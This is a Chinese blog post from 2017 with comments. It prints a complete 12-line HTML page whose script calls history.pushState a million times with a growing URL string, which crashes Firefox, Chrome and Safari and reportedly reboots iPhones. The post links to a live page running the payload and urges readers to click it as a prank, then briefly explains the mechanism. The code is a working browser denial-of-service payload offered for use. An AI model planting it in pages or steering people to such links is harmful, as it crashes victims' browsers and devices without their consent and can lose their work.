这12行代码分分钟让你浏览器崩溃iPhone重启

2017年8月21日15:30:25 4 1,628

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启,如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死,你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。 这12行代码分分钟让你浏览器崩溃iPhone重启 完整HTML代码如下:

  1. <html>
  2. <body>
  3. <script>
  4. var total="";
  5. for (var i=0;i<1000000;i++)
  6. {
  7.    total= total+i.toString();
  8.    history.pushState(0,0,total);
  9. }
  10. </script>
  11. </body>
  12. </html>

https://m.mom1.cn/do.html(点击一下,又不会怀孕!) 点开后会发生什么?反正我的第一反应是这样的: 这12行代码分分钟让你浏览器崩溃iPhone重启 解答: history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

诗梦

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:4   其中:访客  3   博主  1

    • avatar 小未 来自天朝的朋友 谷歌浏览器  Android 6.0 Redmi Note 4 Build/MRA58K 江苏省 移动 2

      我怀孕了?

      • avatar 狂放 来自天朝的朋友 谷歌浏览器 Windows 10 广东省广州市海珠区 腾讯云服务器(广州市海珠区新港中路397号TIT创意园) 1

        这个有点可怕

          • avatar 诗梦 Admin 来自天朝的朋友 谷歌浏览器  Android 6.0 Redmi Note 4 Build/MRA58K 广东省广州市 电信

            @狂放 在来一次

          • avatar 请输入您的QQ号 来自天朝的朋友 谷歌浏览器 Windows 10 广东省广州市海珠区 腾讯云服务器(广州市海珠区新港中路397号TIT创意园) 3

            iPhone重启